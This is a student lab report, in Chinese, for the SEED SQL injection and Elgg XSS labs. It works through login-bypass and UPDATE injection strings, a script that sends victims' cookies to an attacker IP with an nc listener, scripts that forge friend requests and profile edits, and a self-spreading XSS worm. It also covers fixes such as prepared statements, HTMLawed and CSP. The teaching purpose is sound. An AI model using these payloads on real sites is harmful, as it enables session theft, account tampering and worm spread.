20242825 2024-2025-2 《网络攻防实践》第十周作业

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目录

• 一. 实验内容
  • 1.1 实验内容概述
    • 1.SEED SQL注入攻击与防御实验
    • 2.SEED XSS跨站脚本攻击实验(Elgg)
  • 1.2 实验相关知识概述
    • 1.2.1 SQL注入攻击与防御
    • 1.2.2 XSS跨站脚本攻击
• 二. 实验过程
  • 2.1 实验环境配置
  • 2.2 SEED SQL注入攻击与防御实验
    • 2.2.1 实验要求
    • 2.2.2 实验过程展示
      • 1. 熟悉SQL语句
      • 2. 对SELECT语句的SQL注入攻击
      • 3. 对UPDATE语句的SQL注入攻击
      • 4. SQL对抗
  • 2.3 SEED SQL注入攻击与防御实验
    • 2.3.1 实验要求
    • 2.3.2 实验过程展示
      • 1. 发布恶意消息，显示警报窗口
      • 2. 弹窗显示cookie信息
      • 3. 窃取受害者的cookies
      • 4. 成为受害者的朋友
      • 5. 修改受害者的信息
      • 6. 编写XSS蠕虫。
      • 7. 对抗XSS攻击。
• 三、学习中遇到的问题及解决
• 四、学习感悟、思考等
• 参考资料

一. 实验内容

1.1 实验内容概述

1.SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序，并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色：管理员是特权角色，可以管理每个员工的个人资料信息。员工是一般角色，可以查看或更新自己的个人资料信息。完成以下任务：

① 熟悉SQL语句： 我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。在此任务中，您需要使用数据库来熟悉SQL查询。

② 对SELECT语句的SQL注入攻击：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。

③ 对UPDATE语句的SQL注入攻击：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

④ SQL对抗：修复上述SQL注入攻击漏洞。

2.SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么，我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中，学生需要利用此漏洞对经过修改的Elgg发起XSS攻击，攻击的最终目的是在用户之间传播XSS蠕虫，这样，无论是谁查看的受感染用户个人资料都将被感染。

① 发布恶意消息，显示警报窗口：在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。

② 弹窗显示cookie信息：将cookie信息显示。

③ 窃取受害者的cookies：将cookie发送给攻击者。

④ 成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。

⑤ 修改受害者的信息：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改。

⑥ 编写XSS蠕虫。

⑦ 对抗XSS攻击。

1.2 实验相关知识概述

1.2.1 SQL注入攻击与防御

• SQL语言基础：SQL（Structured Query Language，结构化查询语言 ）是用于管理关系数据库的标准语言。像SELECT语句用于从数据库表中检索数据，例如SELECT * FROM Users可获取Users表中的所有记录；UPDATE语句用于修改表中已有数据，如UPDATE Users SET salary = 10000 WHERE eid = 1可将员工编号为1的薪资更新为10000 。
• SQL注入原理：当应用程序使用用户输入来构造SQL查询，且未对输入进行有效验证时，攻击者可通过输入恶意SQL代码，改变原本查询逻辑。比如在登录验证的查询语句SELECT * FROM Users WHERE username = '输入用户名' AND password = '输入密码'中，若输入恶意内容，如' OR '1'='1作为密码输入，会使查询逻辑变为永真条件，绕过密码验证登录系统。
• SQL注入攻击类型
  • 针对SELECT语句攻击：通过构造特殊输入，使SELECT语句返回未授权数据，或绕过身份验证。
  • 针对UPDATE语句攻击：利用输入漏洞，修改数据库中不应被普通用户修改的数据，如员工薪资、权限等。

1.2.2 XSS跨站脚本攻击

• XSS原理：XSS（Cross - Site Scripting，跨站脚本）攻击是攻击者在Web页面中注入恶意脚本（通常是JavaScript），当用户浏览该页面时，恶意脚本在用户浏览器中执行，实现窃取用户信息、修改页面内容等恶意行为。

• XSS攻击类型

  • 反射型XSS：攻击者构造恶意链接，诱使用户点击。用户点击后，恶意脚本随服务器响应返回给用户浏览器并执行，一般不存储在服务器端。
  • 存储型XSS：攻击者将恶意脚本上传并存储到服务器端（如数据库），当其他用户访问相关页面时，恶意脚本被加载并执行。本次实验中的Elgg应用程序可能存在此类漏洞。

• XSS攻击危害

  • 窃取用户信息：如获取用户的cookie信息，用于登录用户账号，访问用户隐私数据。
  • 页面篡改：修改页面显示内容，误导用户或进行恶意宣传。
  • 传播恶意代码：在用户之间传播XSS蠕虫，扩大攻击范围。

• XSS攻击防御

  • 输入输出过滤：对用户输入进行严格过滤，去除或转义可能包含恶意脚本的字符；对输出到页面的数据也进行检查和转义，防止恶意脚本注入。
  • 使用安全的编码实践：采用安全的编程方式，避免在页面中直接使用用户输入内容，防止被恶意利用。
  • 设置HTTP安全头：如设置Content - Security - Policy（CSP）头，限制页面可加载的资源来源，阻止恶意脚本的执行。

二. 实验过程

2.1 实验环境配置

在实验初始时，本来使用原本的SEEDUbuntu虚拟机实验，但发现原先的虚拟机因为版本问题缺少些许插件不可使用，所以在实验之初先重新下载一个seed虚拟机并进行配置。
点击以下链接进行虚拟机下载SEEDUbuntu SetUp 。

下载安装压缩包。

下载后解压会发现没有现成的.vmx直接打开，所以需要重新创建一个虚拟机硬盘。

虚拟机创建可参考实验一步骤即可：
点击“创建新的虚拟机”-----> “自定义” -----> Workstation17.x -----> -----> “稍后安装操作系统” -----> “Linux” -----> “Ubuntu” -----> “网络地址转换” -----> “LSI Logic” -----> “SCSI” -----> 现有虚拟磁盘中的“SEEDUbuntu-16.04-32bit.vmdk” -----> 将现有磁盘转换为更新格式？ 保持现有格式 。









安装完成后，需将网络配置也设置一下：

打开虚拟机利用ifconfig命令检索一下：

IP地址为：192.168.200.9
配置完成，下面继续实验！

2.2 SEED SQL注入攻击与防御实验

2.2.1 实验要求

我们已经创建了一个Web应用程序，并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色：管理员是特权角色，可以管理每个员工的个人资料信息。员工是一般角色，可以查看或更新自己的个人资料信息。完成以下任务：

① 熟悉SQL语句： 我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。在此任务中，您需要使用数据库来熟悉SQL查询。

② 对SELECT语句的SQL注入攻击：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。

③ 对UPDATE语句的SQL注入攻击：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

④ SQL对抗：修复上述SQL注入攻击漏洞。

2.2.2 实验过程展示

1. 熟悉SQL语句

先按照要求将虚拟机终端改名，使用以下命令进行操作：

hostname 20242825bhy //更改主机名

更改完后重新打开终端验证是否更改成功。这里需要要注意的是：改名需要先进入root模式，命令为su -，密码为seedubuntu。

更改成功：

使用以下命令，打开Ubuntu阿帕奇apache2服务，并进行服务的状态查看：

sudo service apache2 start //启动

sudo service apache2 status //状态查看

通过上述截图我们可以看到服务器处于正在运行的状态。
成功启动后便可以开始在终端学习SQL语句！！！

使用以下命令使用root登录MySQL数据库：

mysql -u root -pseedubuntu

使用以下命令查看mysql中已有的数据库：

show databases; （其中需要注意的是 ；不可省略）

使用以下命令切换到Users权限，并查看所有的数据表：

use Users

show tables

可以看到有两张表，Tables_in_Users和credential表。

使用以下sql语句查看credential中所有记录：

select * from credential;

发现这张表是一张信息表，包含ID、姓名、EID、工资、生日等信息。

再使用以下几条SQL语句，熟悉一下SQL用法：

select * from credential where Name = 'Alice';

select * from credential where ID <=3 ;

2. 对SELECT语句的SQL注入攻击

（上述Web应用存在SQL注入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。）

在自带的火狐浏览器中打开以下网址，进入已经搭建好的Web页面，会发现出现了一个登录界面：

http://www.seedlabsqlinjection.com/

单击右键选择view page source查看网页源码：


可以发现在登录表单中使用了 get 方法来访问 unsafe_home.php：

除此之外，在终端中使用以下命令也可查看unsafe_home.php源代码以及相关文件：

vim /var/www/SQLInjection/unsafe_home.php

可以看到，密码是被哈希过的hashed_pwd，所以在不知道密码的情况下，我们无法通过查询到的hashed_pwd进行登录。

因此，我们使用SQL注入攻击，实现登录。

分析一下使用的select语句：

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

通过分析可知输入以下内容进行sql注入：（其中’ 单引号是为了终止当前的SQL语句，#是将后续的SQL语句注释。这样就能在SQL语句运行至WHERE name= ‘Alice’时被终止，且不用输入后续密码，直接就能成功运行这个SQL语句）

Alice'#

可以看到登录成功！
对SELECT语句的SQL注入攻击成功！！！

3. 对UPDATE语句的SQL注入攻击

(通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。)

点击Edit Profile进入修改界面，发现只能修改以下内容：

还是如同上面实验一样，单击右键查看源代码：


可以发现，该表单依旧是以 get 方式将数据发送到unsafe_edit_backend.php 页面。

在终端使用以下命令查看unsafe_edit_backend.php文件的源代码，检查Update SQL语句的内容：

vim /var/www/SQLInjection/unsafe_edit_backend.php

此处仿照上述实验2SELECT语句的做法，进行SQL注入攻击，使用以下代码进行Alice薪资的修改：
同样的，’ 单引号表示SQL语句的中断，#表示SQL语句后续内容的省略
在NickName处使用以下命令：

', Salary='20242825‘ where name='Alice'; #

点击Save进行保存后：

修改成功！！！

4. SQL对抗

（修复上述SQL注入攻击漏洞。）

我们可以观察php文件的源代码，可以发现，它们对SQL语句的数据和命令的判定并没有分开，而是混在一起，而数据库无法分清楚，这段SQL语句中哪段是用用户的数据，哪段又是SQL的命令。这就造成了SQL注入的发生，因此，我们用php语言中的bind_param方法来绑定参数，并用？来代替参数，这样就能修复SQL注入攻击漏洞。

① 对SELECT语句的修复如下，使用bind_param方法，将参数与执行动作或条件分开进行修改：

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password 
	FROM credential 
	WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

更改为：

修改完成后再次进入登录发现没有反应。

② 对UPDATE语句的修复如下，同样使用bind_param方法，将参数与执行动作或条件分开进行修改：

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

修改完成后再次进入修改发现没有反应。
实验成功！！！

2.3 SEED SQL注入攻击与防御实验

2.3.1 实验要求

为了演示攻击者可以利用XSS漏洞做什么，我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中，学生需要利用此漏洞对经过修改的Elgg发起XSS攻击，攻击的最终目的是在用户之间传播XSS蠕虫，这样，无论是谁查看的受感染用户个人资料都将被感染。

① 发布恶意消息，显示警报窗口：在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。

② 弹窗显示cookie信息：将cookie信息显示。

③ 窃取受害者的cookies：将cookie发送给攻击者。

④ 成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。

⑤ 修改受害者的信息：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改。

⑥ 编写XSS蠕虫。

⑦ 对抗XSS攻击。

2.3.2 实验过程展示

1. 发布恶意消息，显示警报窗口

（在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。）

在浏览器中访问下面网页：
http://www.xsslabelgg.com

并用数据库中查询到的用户进行登录，除了Admin管理员以外，所有用户的登录密码都是seed+用户名。
（例如，Alice的密码就是seedalice，Samy的密码就是seedsamy，而Admin的密码是seedelgg。）

进行登录：

使用Alice账户登陆后，显示界面如下：

首先，我们点击Alice的头像下面的Edit profile：

在Brief description输入以下XSS攻击代码，让系统给出警告信息：

<script> alert('xss');</script>

点击Save按钮进行保存：

发现系统给出了警告信息：xss

2. 弹窗显示cookie信息

(将cookie信息显示。)
紧接着上述实验，同样地点击Edit profile按钮：

在Brief description输入以下XSS攻击代码，让系统给出警告信息。但这里与上述实验不同的是我们将xss攻击内容改成以下内容:

<script> alert(document.cookie);</script>

点击Save按钮进行保存后进入Alice主页，系统展示cookie信息如下：

3. 窃取受害者的cookies

（将cookie发送给攻击者。）

使用命令ifconfig查看SeedUbuntu虚拟机IP：

查询得知，为192.168.200.9，构造以下代码进行窃取：

<script>document.write('<img src=http://192.168.200.9:500?c='+escape(document.cookie) + ' >');</script>

（代码分析：代码将受害者Alice的cookie放入document.write，并发送给攻击者Boby。端口号设置为500并监听此端口，从而获取受害者的cookies。）

使用 账号Boby/密码seedboby 登录Boby账号：

同上述过程一样，同样点击Edit profile按钮，并用以下命令修改Brief description：

<script>document.write('<img src=http://192.168.200.9:500?c='+escape(document.cookie) + ' >');</script>

更改完成后点击Save保存。

在终端中使用以下命令监听端口500，然后用Alice访问Boby后，从而获取到了cookies ：

sudo nc -l 500 -v

使用Alice账户，搜索并访问Boby：

成功访问Boby，且成功获取受害者Alice的cookies：



实验结束！！！

4. 成为受害者的朋友

（使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。）

首先使用Alice添加Boby为好友，同时，按下F12打开浏览器的开发者工具，查看添加好友过程中发出了什么信息：

在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。

从下图可以看到申请参数有三个，分别是：friend, __elgg_ts,以及__elgg_token，即好友的id、时间戳以及token。

根据以上可构造xss攻击代码如下所示：

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    //Construct the HTTP request to add Samy as a friend.
   var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
   
    //Create and send Ajax request to add friend
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

将该段代码放到Alice的 About me 下并选择 Edit HTML 模式，点击保存。
（注意，这里必须点击About me框右上角的edit html，才可以进行添加这段代码，否则添加不成功）

点击Save进行保存后，使用Samy登录。

切换Samy账户，首先可以看到，我们并没有任何一个好友。

访问Alice的主页，就会发现添加了Alice为好友。


实验成功！

5. 修改受害者的信息

（使用JS程序使得受害者在访问Alice的页面时，资料无需干预却被修改。）

与上述实验④相同，这里也是修改Alice的about me部分，从而实现受害者被添加资料。

构造修改信息xss攻击代码，并输入Alice中about me中edit HTML模式：

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>hhh,20242825bhy is here!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

使用Samy访问Alice，发现主页被修改:

成功修改受害者主页，实验成功！！！

6. 编写XSS蠕虫。

(编写XSS蠕虫。)

根据上述实验的经验，编写蠕虫代码如下：

（代码分析：代码功能与上述实验5类似，也是修改受害者主页，但是能够在受害者之间传播，而不用必须访问攻击者的主页，访问了受害者的主页，具有传染性。）

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>20242825bhy is here!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }</script>

同样，将其放入Alice的About me，然后用Boby去访问Alice，观察感染情况：

点击Save进行保存：

登录Boby账户：

Boby账户访问Alice后：

蠕虫构造成功！！！

7. 对抗XSS攻击。

对抗XSS攻击有以下方法：

1、内容安全策略（CSP） 定义CSP策略：定义CSP策略以指定哪些内容来源被允许在网页中执行。
使用CSP头：使用CSP头来定义策略并强制执行。

2、输出编码 HTML转义：使用HTML转义来防止恶意代码被执行。
使用安全的编码方案：使用安全的编码方案，例如HTML实体编码或Unicode编码。

3、HTTPOnly Cookies
设置HTTPOnly标志：在Cookie中设置HTTPOnly标志，以防止JavaScript访问它们。

在本次实验中，使用Web网页内部的HTMLawed进行对抗攻击。

方法原理：HTMLawed是一个PHP库，它可以帮助防止XSS攻击通过过滤和sanitizing HTML输入。

使用账号Admin/密码seedelgg登录管理员账户Admin：
点击Account并选择Administration选项进入管理员界面：


点击Plugins进入设置界面：

点击Activate，将HTMLawed激活：

成功激活：

激活后重新进行XSS攻击实验会发现攻击失效。
这里重新进行修改受害者主页信息的XSS攻击：
即再次让Samy访问Alice会发现无法进行主页修改。


XSS对抗成功！！！

三、学习中遇到的问题及解决

在这次实验中，主要问题有以下几点：

• 问题：在编辑JS程序代码在About me中添加失败。
• 解决方案：查询资料后发现需要打开About me框右上角的edit html模式，否则在Visual editor模式下编辑无法保存程序代码。

四、学习感悟、思考等

在本次实验，与前面实验不同之处在于此次实验学习了SQL注入、Web渗透，蠕虫病毒等相关知识。
实验期间，我深入了解了什么是XSS攻击以及被蠕虫病毒感染等实践，并意识到网络安全隐患无处不在，让我对网络安全的学习更加深入。同时，此次实验遇到的问题很少很顺利完成实验，拓展了我在网络攻防技术领域的知识储备，让我明白在平时我们要小心访问Web页面，严防数据库安全。

参考资料

https://blog.csdn.net/weixin_55819433/article/details/146334695

https://blog.csdn.net/weixin_55819433/article/details/146058856?spm=1001.2014.3001.5502